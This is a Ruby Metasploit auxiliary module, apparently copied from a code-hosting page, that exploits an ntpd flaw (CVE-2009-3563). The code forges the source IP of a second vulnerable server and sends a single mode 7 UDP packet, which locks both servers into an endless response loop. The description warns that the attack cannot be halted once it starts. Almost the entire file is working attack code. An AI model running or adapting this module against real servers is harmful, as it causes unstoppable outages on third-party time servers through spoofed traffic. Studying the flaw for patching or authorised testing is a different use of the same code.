84 lines
2.0 KiB
Ruby
84 lines
2.0 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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require 'racket'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::Capture
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include Msf::Auxiliary::Scanner
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'NTP.org ntpd Reserved Mode Denial of Service',
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'Description' => %q{
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This module exploits a denial of service vulnerability
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within the NTP (network time protocol) demon. By sending
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a single packet to a vulnerable ntpd server (Victim A),
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spoofed from the IP address of another vulnerable ntpd server
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(Victim B), both victims will enter an infinite response loop.
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Note, unless you control the spoofed source host or the real
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remote host(s), you will not be able to halt the DoS condition
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once begun!
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},
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'Author' => [ 'todb' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'BID', '37255' ],
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[ 'CVE', '2009-3563' ],
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[ 'OSVDB', '60847' ],
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[ 'URL', 'https://support.ntp.org/bugs/show_bug.cgi?id=1331' ]
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],
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'DisclosureDate' => 'Oct 04 2009'))
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register_options(
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[
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OptAddress.new('LHOST', [true, "The spoofed address of a vulnerable ntpd server" ])
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], self.class)
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deregister_options('FILTER','PCAPFILE')
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end
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def run_host(ip)
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print_status("Sending a mode 7 packet to host #{ip} from #{datastore['LHOST']}")
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open_pcap
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n = Racket::Racket.new
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n.l3 = Racket::L3::IPv4.new
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n.l3.src_ip = datastore['LHOST']
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n.l3.dst_ip = ip
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n.l3.protocol = 17
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n.l3.id = rand(0xffff)+1
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n.l3.ttl = 255
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n.l4 = Racket::L4::UDP.new
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n.l4.src_port = 123
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n.l4.dst_port = 123
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n.l4.payload = ["\x17","\x97\x00\x00\x00"][rand(2)]
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n.l4.fix!(n.l3.src_ip, n.l3.dst_ip)
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buff = n.pack
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capture_sendto(buff, ip)
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close_pcap
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end
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end
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